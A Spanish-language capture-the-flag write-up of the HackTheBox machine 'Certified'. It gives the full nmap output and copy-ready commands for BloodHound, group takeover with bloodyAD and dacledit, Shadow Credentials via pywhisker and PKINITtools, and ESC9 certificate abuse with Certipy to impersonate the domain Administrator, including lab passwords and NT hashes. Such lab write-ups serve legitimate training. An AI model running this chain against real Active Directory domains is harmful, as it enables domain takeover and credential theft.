write up Certified HTB
“Certified” es una máquina de dificultad media en HackTheBox que involucra un entorno de Active Directory. Al comenzar, se nos proporcionan credenciales de un usuario inicial que tiene la capacidad de agregarse a un grupo específico. Aprovechando este privilegio, podemos unirnos a dicho grupo y ejecutar un ataque de Shadow Credentials contra otro usuario, lo que nos permite obtener su hash NT. Este segundo usuario también es vulnerable al mismo ataque, permitiéndonos comprometer la cuenta de un tercer usuario. Esta última cuenta tiene permisos para gestionar certificados, lo que abre la posibilidad de explotar la vulnerabilidad ESC9 en el servicio AD CS. A través de esta técnica, logramos escalar privilegios y suplantar la identidad del Administrador del dominio.
lo primero como siempre el escaneo de Nmap
nmap -p- --open --min-rate 5000 -sT -vvv -n -Pn 10.10.11.41 -oG allports
nmap -sVC -p53,88,135,139,389,445,593,636,3269,5985,9389,49666,49668,49673,49674,49683,49773 10.10.11.41 -oN ports
9683,49773 10.10.11.41 -oN ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-19 14:25 CET
Stats: 0:00:41 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 70.59% done; ETC: 14:26 (0:00:12 remaining)
Stats: 0:01:08 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 99.66% done; ETC: 14:26 (0:00:00 remaining)
Nmap scan report for 10.10.11.41
Host is up (0.030s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-19 20:25:45Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-19T20:27:14+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
445/tcp open microsoft-ds?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: certified.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2024-12-19T20:27:14+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
3269/tcp open globalcatLDAPssl?
|_ssl-date: 2024-12-19T20:27:14+00:00; +7h00m01s from scanner time.
| ssl-cert: Subject: commonName=DC01.certified.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC01.certified.htb
| Not valid before: 2024-05-13T15:49:36
|_Not valid after: 2025-05-13T15:49:36
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp open mc-nmf .NET Message Framing
49666/tcp open unknown
49668/tcp open unknown
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open unknown
49683/tcp open unknown
49773/tcp open unknown
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-12-19T20:26:11
|_ start_date: N/A
|_clock-skew: mean: 7h00m00s, deviation: 0s, median: 7h00m00s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 110.63 seconds
comprovamos las credenciaales del usuario que nos da por defetcto HTB y aparte saco el dominio
nxc smb 10.10.11.41 -u 'judith.mader' -p 'judith09'
vamos a sacar el bloodhunt de esta mquina para poder usarlo
python3 bloodhound.py -d certified.htb -ns 10.10.11.41 -u judith.mader -p judith09 -c All --zip
nos genera un .zip
yo lo voy a abrir usando la version de docker
descubrimos esta estructura
porlo que podemos intenar ganar acceso a Management y des hay a CA_operartor y despues ser admin
lo primero es conseguir estar dentro del grupo y conseguir permisos de scritura
como no tenemos sesion winrm vamos a tener que hacerlo todo desde la terminal primero vamos a usar bloodyAD para acer nuestro usuario dueño del grupo https://github.com/CravateRouge/bloodyAD (NOTA: no se porque ahora HTB te da ya los permisos de propietario y escritura pero auna si yo voy a hacer el como se conseguirian)
python3 bloodyAD.py --host "10.10.11.41" -d 'certified.htb' -u 'judith.mader' -p 'judith09' set owner Management judith.mader
ahora vamos a conseguir los permisos de escritura con dacledit.py https://github.com/fortra/impacket/blob/master/examples/dacledit.py
python3 dacledit.py -action 'write' -rights 'WriteMembers' -principal 'judith.mader' -target-dn 'CN=MANAGEMENT,CN=USERS,DC=CERTIFIED,DC=HTB' 'certified.htb'/'judith.mader':'judith09'
perfecto por lo que como tenemos ya estos permisos ya podemos añadir a Management al grupo para ello vamos a volver a usar bloodAD
python3 bloodyAD.py --host "10.10.11.41" -d 'certified.htb' -u 'judith.mader' -p 'judith09' add groupMember "Management" "judith.mader"
vale perfecto ahora como somos totalmente del grupo podemos intentar sacar el certificado al usuario management_svc vamos a usar pywhisker https://github.com/ShutdownRepo/pywhisker
python3 pywhisker.py -d "certified.htb" -u "judith.mader" -p judith09 --target "management_svc" --action add
ahora vamos usar kerberos para intentar conseguir el ticket (TGT) gracias al certificado que emos conseguido
para esto vamos a usar gettgtpkinit gunto al archivo .pfx y la contraseña que nos da https://github.com/dirkjanm/PKINITtools
python3 gettgtpkinit.py certified.htb/management_svc -cert-pfx /home/zzero/certified/content/pywhisker/pywhisker/GMgSVanb.pfx -pfx-pass EwVgr6W570k5CtV5i4tB fuck2.ccache
no suelta un erro y es por el tema de zona horaria para solucionarlo hay que hacer lo siguiente
ntpdate certified.htb
volvemos a ejecutar el comando y
ya funciono por lo que tenemos ticket y .ccache
ahora ya que tenemos esto podemos intentar sacar el hash nt para ello vamos a usar getnthash gunto a los datos anteriores https://github.com/dirkjanm/PKINITtools
lo primero tenemos que declarar la siguiente variable en mi caso seria asi
export KRB5CCNAME=/home/zzero/certified/content/PKINITtools/fuck2.ccache
tenemos que referncia al .ccache asi
y ahora ejecutamos de la siguiente forma
python3 getnthash.py certified.htb/management_svc -key d7964090a53e45440fe4f7dbbfc0f3ad8555820724dc83dbeb1eb6d673f7ed04
tenemos hahs por lo que podemos acceder a la mquina
verificamos que tengamos winrm con el usuario management_svc con netexect
nxc winrm 10.10.11.41 -u 'management_svc' -H 'a091c1832bcdd4677c28b5a6a1295584'
tenemos acceso pero no nos vale de nada porque es solo para la flag
root
como tenemos control de management_svc podemos intentar ganar control de ca_operator lo primero vamos a modificar sus credenciales con certipy-ad https://github.com/ly4k/Certipy
certipy shadow auto -u management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -account ca_operator
tenemos un segundo hash ahora actualizamos su UPN
certipy account update -u management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn administrator
pedimos un certificado de administrador
certipy req -username ca_operator@certified.htb -hashes b4b86f45c6018f1b664f70805f45d8f2 -ca certified-DC01-CA -template CertifiedAuthentication
ahora restauramos el NPU original
certipy account update -u management_svc@certified.htb -hashes a091c1832bcdd4677c28b5a6a1295584 -user ca_operator -upn ca_operator@certified.htb
y obtenemos el TGT de admin
certipy auth -pfx administrator.pfx -domain certified.htb
y ya con netexect comprovamos si tenemos acceso
nxc winrm 10.10.11.41 -u 'administrator' -H '0d5b49608bbce1751f708748f67e2d34'